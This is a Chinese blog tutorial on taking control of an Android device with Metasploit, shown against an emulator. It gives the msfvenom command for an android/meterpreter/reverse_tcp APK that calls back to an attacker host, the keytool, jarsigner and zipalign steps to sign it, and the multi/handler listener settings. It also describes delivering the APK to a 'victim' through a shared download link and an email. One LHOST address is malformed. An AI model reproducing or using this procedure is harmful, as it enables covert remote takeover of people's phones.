IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    技术分享:如何使用Metasploit对安卓手机进行控制

    stardustsky发表于 2017-01-09 14:40:44
    love 0

    文章内容可能具有一定攻击性,本文仅供技术交流,如有非法使用后果自负。

    在这次的实验中,我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。

    创建负载

    我们需要两台虚拟机:Kali Linux和安卓模拟器。

    图片1.png

     

    打开vm启动Kali linux。接着打开终端,使用msfvenom制作android利用程序。

    247942_screenshot_1.png

    Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。

    一旦打开终端提示符下输入以下命令,使用msfvenom工具来创建有效载荷APK文件。

    ```
    
    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R > /root/Desktop/pentest.apk
    
    ```

    p 设置要使用的payload
    
    LHOST 设置用来接收反弹连接的主机
    
    LPORT 设置用来接收反弹连接的端口
    
    R 设置文件格式
    
    Location 要保存的文件位置

    这个命令执行完之后,你会看到一些错误,但不用担心。现在可以到输出目录查看生成的apk了。

    图片2.png

     

    我们已经成功创建了Android格式(APK)文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。

    我们可以使用如下工具进行手动签名:

    l Keytool (已安装)
    
    l jar signer (已安装)
    
    l zipalign (需要安装)

    执行下列命令签名。首先使用密钥工具创建密钥库。

    keytool -genkey -v -keystore my-<span class="hljs-keyword">release</span>-<span class="hljs-keyword">key</span>.Keystore -<span class="hljs-keyword">alias</span> alias_name -keyalg RSA -keysize <span class="hljs-number">2048</span> -validity <span class="hljs-number">10000</span>

    图片3.png

    然后使用JARsigner签名APK

    <span class="hljs-selector-tag">jarsigner</span> <span class="hljs-selector-tag">-verbose</span> <span class="hljs-selector-tag">-sigalg</span> <span class="hljs-selector-tag">SHA1withRSA</span> <span class="hljs-selector-tag">-digestalg</span> <span class="hljs-selector-tag">SHA1</span> <span class="hljs-selector-tag">-keystore</span> <span class="hljs-selector-tag">my-release-key</span><span class="hljs-selector-class">.Keystore</span> <span class="hljs-selector-tag">APPNAME</span><span class="hljs-selector-class">.apk</span> <span class="hljs-selector-tag">aliasname</span>` 

    再用JARsigner验证签名

    <span class="hljs-selector-tag">jarsigner</span> <span class="hljs-selector-tag">-verify</span> <span class="hljs-selector-tag">-verbose</span> <span class="hljs-selector-tag">-certs</span> <span class="hljs-selector-tag">APPNAME</span><span class="hljs-selector-class">.apk</span>

    图片5.png

    Kali没有预装Zipalign,需要先apt-get install zipalign。然后用zipalign来验证apk。

    <span class="hljs-selector-tag">zipalign</span> <span class="hljs-selector-tag">-v</span> 4 <span class="hljs-selector-tag">APPNAME</span><span class="hljs-selector-class">.apk</span> <span class="hljs-selector-tag">NEWAPPNAME</span><span class="hljs-selector-class">.apk</span>

    图片6.png

    现在我们有了一个带有签名的APK,它可以安装在任何设备上。

    图片7.png

    使用Metasploit进行测试

    接下来启动metasploit的监听器。执行msfconsole打开控制台。

    图片8.png

    use exploit/multi/handler
    
    Set PAYLOAD android/meterpreter/reverse_tcp
    
    SET LHOST 192.168.152.128
    
    SET LPORT 4444
    
    Exploit

    图片9.png

    图片10.png

    是时候将恶意的APK发送到手机上。我们这里使用一个网盘上传我们的APK,并将下载链接分享出去。

    图片11.png

     

    这是我们切换到安卓模拟器。

    1、从https://code.google.com/archive/p/android-x86/downloads下载android x86的iso。
    
    2、使用vmware创建一个内核版本为2.6的虚拟机。
    
    3、挂载镜像,启动虚拟机。
    
    4、进入Live模式。
    
    5、设置手机并登陆谷歌帐号。

    在安卓模拟器里面点击那个链接并下载。我们已经发送了一封邮件到受害者的谷歌帐号上。

    图片12.png

    另外要允许安卓安装来历不明的apk。

    图片13.png图片14.png

    切换回Kali,我们发现创建了一个新的会话。

    图片15.png

    然后你就可以为所欲为的操作这台“手机”了。

    图片16.png



沪ICP备19023445号-2号
友情链接